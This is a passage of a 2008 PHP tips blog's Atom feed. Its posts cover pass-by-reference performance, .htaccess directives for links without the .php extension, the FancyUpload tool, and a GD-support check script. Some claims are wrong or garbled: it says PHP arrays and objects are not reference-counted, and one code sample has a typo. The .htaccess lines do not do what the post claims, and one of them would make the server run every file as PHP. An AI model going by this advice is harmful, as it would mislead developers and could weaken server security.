TestNoRef() will execute          faster than TestRef().&lt;/p&gt;                   &lt;p&gt;In contrast, functions that accept &lt;i&gt;array&lt;/i&gt; and &lt;i&gt;object&lt;/i&gt;                      parameters have a performance advantage when references are                      used. This is because arrays and objects do not use reference                      counting, so multiple copies of an array or object are created                      if "pass by value" is used. So the following code:&lt;/p&gt;       &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="2"&gt;function ObjRef(&amp;amp;$o)&lt;br&gt;         &lt;/font&gt;&lt;font size="2"&gt;{&lt;/font&gt;&lt;br&gt;            &lt;font size="2"&gt;$a =$o-&gt;name;&lt;br&gt;         }&lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;is faster than:&lt;/p&gt;       &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="2"&gt;$function ObjRef($o)&lt;br&gt;         &lt;/font&gt;&lt;font size="2"&gt;{&lt;/font&gt;&lt;br&gt;         &lt;font size="2"&gt;  $a = $o-&gt;name;&lt;br&gt;         &lt;/font&gt;&lt;font size="2"&gt;}&lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;                    &lt;p&gt;Note: In PHP 5, all objects are passed by reference automatically,                      without the need of an explicit &amp;amp; in the parameter list.                      PHP 5 object performance should be significantly faster.&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;              &lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div style="position:fixed"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-7906091554848710971?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/7906091554848710971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=7906091554848710971' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/7906091554848710971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/7906091554848710971'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/09/excellent-article-on-php-optimization.html' title='An excellent article on PHP optimization'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-6552706779541014545</id><published>2008-09-09T00:31:00.001-07:00</published><updated>2008-09-26T21:55:45.550-07:00</updated><title type='text'>HowTo: Configure Apache to link to PHP files without the .php extension</title><content type='html'>&lt;div style="font-family:arial, helvetica, sans-serif;font-size:10pt"&gt;&lt;div&gt;There are several advantages to removing the .php file extension from any links to PHP pages on your web server.&lt;br&gt; 1. It looks much cleaner and professional to have yourdomain.com/services instead of yourdomain.com/services.php&lt;br&gt; 2. It's much easier from a coding perspective to be able to accomplish this with files, rather than having to create lots of sub-directories with index.php files.&lt;br&gt; 3. It's easier to hide the server-side technology that you're using, to prevent hacker attacks.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;If you add one of the following two code options to your &lt;b&gt;.htaccess files&lt;/b&gt;, you can link to your files without the .php extension. For example, you could link to /services instead or /services.php&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="background-color: rgb(255, 255, 255);"&gt;&lt;i&gt;AddHandler server-parsed .php&lt;br&gt; SetHandler application/x-httpd-php&lt;br&gt; AddHandler application/x-httpd-php .php&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div style="position:fixed"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-6552706779541014545?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/6552706779541014545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=6552706779541014545' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/6552706779541014545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/6552706779541014545'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/09/howto-configure-apache-to-link-to-php.html' title='HowTo: Configure Apache to link to PHP files without the .php extension'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-1902536918384335033</id><published>2008-09-07T10:33:00.001-07:00</published><updated>2008-09-07T10:33:28.487-07:00</updated><title type='text'>FancyUpload - A handy tool for queued photo uploads</title><content type='html'>&lt;div style="font-family:arial,helvetica,sans-serif;font-size:10pt"&gt;&lt;div&gt;&lt;h2 style="font-family: arial,helvetica,sans-serif; font-weight: normal;"&gt;&lt;font size="2"&gt;Digitarald has created a very handy tool called &lt;span style="font-weight: bold;"&gt;FancyUpload&lt;/span&gt; based on &amp;lt;a href='www.mootools.net'&amp;gt;&lt;span style="font-weight: bold;"&gt;Mootools&lt;/span&gt;&amp;lt;/a&amp;gt; that allows you to upload multiple files to your server and has a nice animated progress bar to go with it.&lt;br&gt;&lt;/font&gt;&lt;/h2&gt;&lt;h2 style="font-family: arial,helvetica,sans-serif; font-weight: normal;"&gt;&lt;font size="2"&gt;http://digitarald.de/project/fancyupload/2-0/showcase/photoqueue/&lt;/font&gt;&lt;/h2&gt;&lt;font size="2"&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;The tool is excellent, and has the neat feature of queueing uploads, though it is my personal opinion that the "upload" button could be made a bit more  intuitive.&lt;/span&gt;&lt;/font&gt;&lt;font style="font-weight: bold;" size="2"&gt;&lt;br style="font-family: arial,helvetica,sans-serif;"&gt;&lt;/font&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;        &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-1902536918384335033?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/1902536918384335033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=1902536918384335033' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1902536918384335033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1902536918384335033'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/09/fancyupload-handy-tool-for-queued-photo.html' title='FancyUpload - A handy tool for queued photo uploads'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-8160129857699384611</id><published>2008-08-31T20:33:00.001-07:00</published><updated>2008-08-31T20:38:47.073-07:00</updated><title type='text'>How to Install GD to PHP and check for GD support on your PHP installation</title><content type='html'>&lt;div style="FONT-SIZE: 12pt; FONT-FAMILY: times new roman, new york, times, serif"&gt;&lt;p&gt;GD (&lt;a href="http://www.libgd.org/"&gt;http://www.libgd.org/&lt;/a&gt;) is a powerful graphics library used for image manipulation. This tutorial describes how to install and check for GD support on your PHP installation.&lt;/p&gt;&lt;p&gt;1. Go to &lt;a href="http://www.php.net/downloads.php" target="_blank"&gt;&lt;span style="color:#0000ff;"&gt;http://www.php.net/downloads.php&lt;/span&gt;&lt;/a&gt; and download the 'PHP 5.x.x zip package' if you don't already have it. &lt;/p&gt;&lt;p&gt;2. This package should contain the GD-Library for windows.&lt;/p&gt;&lt;p&gt;3. Find php_gd2.dll (or php_gd.dll if you need gif-support, but you will have less good image quality) and put it in your php folder&lt;/p&gt;&lt;p&gt;4. Find in the php.ini file in your windows folder: &lt;/p&gt;&lt;p&gt;;extension=php_gd.dll&lt;br /&gt;;extension=php_gd2.dll&lt;/p&gt;&lt;p&gt;5. Uncomment extension="php_gd2".dll by deleting the ';' in front of it.&lt;/p&gt;&lt;p&gt;6. Restart your webserver (for example Apache).&lt;/p&gt;&lt;p&gt;7. Put the following script on your webserver:&lt;/p&gt;&lt;p&gt;test_gd.php&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;?php&lt;br /&gt;/* Displays details of GD support on your server */&lt;/p&gt;&lt;p&gt;echo '&amp;lt;div style="margin: 10px;"&amp;gt;';&lt;/p&gt;&lt;p&gt;echo '&amp;lt;p style="color: #444444; font-size: 130%;"&amp;gt;GD is ';&lt;/p&gt;&lt;p&gt;if (function_exists("gd_info")) {&lt;/p&gt;&lt;p&gt;echo '&amp;lt;span style=" font-weight: bold;"&amp;gt;supported&amp;lt;/span&amp;gt; by your server!&amp;lt;/p&amp;gt;';&lt;/p&gt;&lt;p&gt;$gd = gd_info();&lt;br /&gt;foreach ($gd as $k =&amp;gt; $v) {&lt;/p&gt;&lt;p&gt;echo '&amp;lt;div style="width: 340px; border-bottom: 1px solid #DDDDDD; padding: 2px;"&amp;gt;';&lt;br /&gt;echo '&amp;lt;span style="float: left;width: 300px;"&amp;gt;' . $k . '&amp;lt;/span&amp;gt; ';&lt;/p&gt;&lt;p&gt;if ($v)&lt;br /&gt;echo '&amp;lt;span style=" font-weight: bold;"&amp;gt;Yes&amp;lt;/span&amp;gt;';&lt;br /&gt;else&lt;br /&gt;echo '&amp;lt;span style=" font-weight: bold;"&amp;gt;No&amp;lt;/span&amp;gt;';&lt;/p&gt;&lt;p&gt;echo '&amp;lt;div style="clear:both;"&amp;gt;&amp;lt;!-- --&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;} else {&lt;/p&gt;&lt;p&gt;echo '&amp;lt;span style=" font-weight: bold;"&amp;gt;not supported&amp;lt;/span&amp;gt; by your server!&amp;lt;/p&amp;gt;';&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;echo '&amp;lt;/div&amp;gt;';&lt;/p&gt;&lt;p&gt;?&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;8. You should see somthing like this:&lt;/p&gt;&lt;p style="COLOR: rgb(68,68,68);font-size:130%;" &gt;GD is &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;supported&lt;/span&gt; by your server!&lt;/p&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;GD Version&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;FreeType Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;FreeType Linkage&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;T1Lib Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;GIF Read Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;GIF Create Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;JPG Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;PNG Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;WBMP Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;XPM Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(238,0,0)"&gt;No&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;XBM Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,170,0)"&gt;Yes&lt;/span&gt; &lt;div style="CLEAR: both"&gt;&lt;!-- --&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; WIDTH: 340px; PADDING-TOP: 2px; BORDER-BOTTOM: rgb(221,221,221) 1px solid"&gt;&lt;span style="FLOAT: left; WIDTH: 300px"&gt;JIS-mapped Japanese Font Support&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold; COLOR: rgb(238,0,0)"&gt;No&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-8160129857699384611?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/8160129857699384611/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=8160129857699384611' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/8160129857699384611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/8160129857699384611'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/08/how-to-install-gd-to-php-and-check-for.html' title='How to Install GD to PHP and check for GD support on your PHP installation'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-4823234055459057278</id><published>2008-08-31T15:59:00.001-07:00</published><updated>2008-08-31T15:59:30.155-07:00</updated><title type='text'>Everything PHP</title><content type='html'>&lt;div style="font-family:times new roman, new york, times, serif;font-size:12pt"&gt;&lt;DIV&gt;and more..&lt;/DIV&gt; &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt; &lt;DIV&gt;&lt;IMG alt=http://api.ning.com/files/RAa34UgZLhKRcOiirS722PYXWRKJ1xxa3nvyilZ*qNqxtWGG9X1Y-8Pf*QL-y289GBrc1CZIa*FEUXByD5md0JYsebUmkHO2/44343PHP_Programmers_Brain.jpg src="http://api.ning.com/files/RAa34UgZLhKRcOiirS722PYXWRKJ1xxa3nvyilZ*qNqxtWGG9X1Y-8Pf*QL-y289GBrc1CZIa*FEUXByD5md0JYsebUmkHO2/44343PHP_Programmers_Brain.jpg"&gt;&lt;/DIV&gt;&lt;/div&gt;&lt;br&gt;        &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-4823234055459057278?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/4823234055459057278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=4823234055459057278' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4823234055459057278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4823234055459057278'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/08/everything-php.html' title='Everything PHP'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
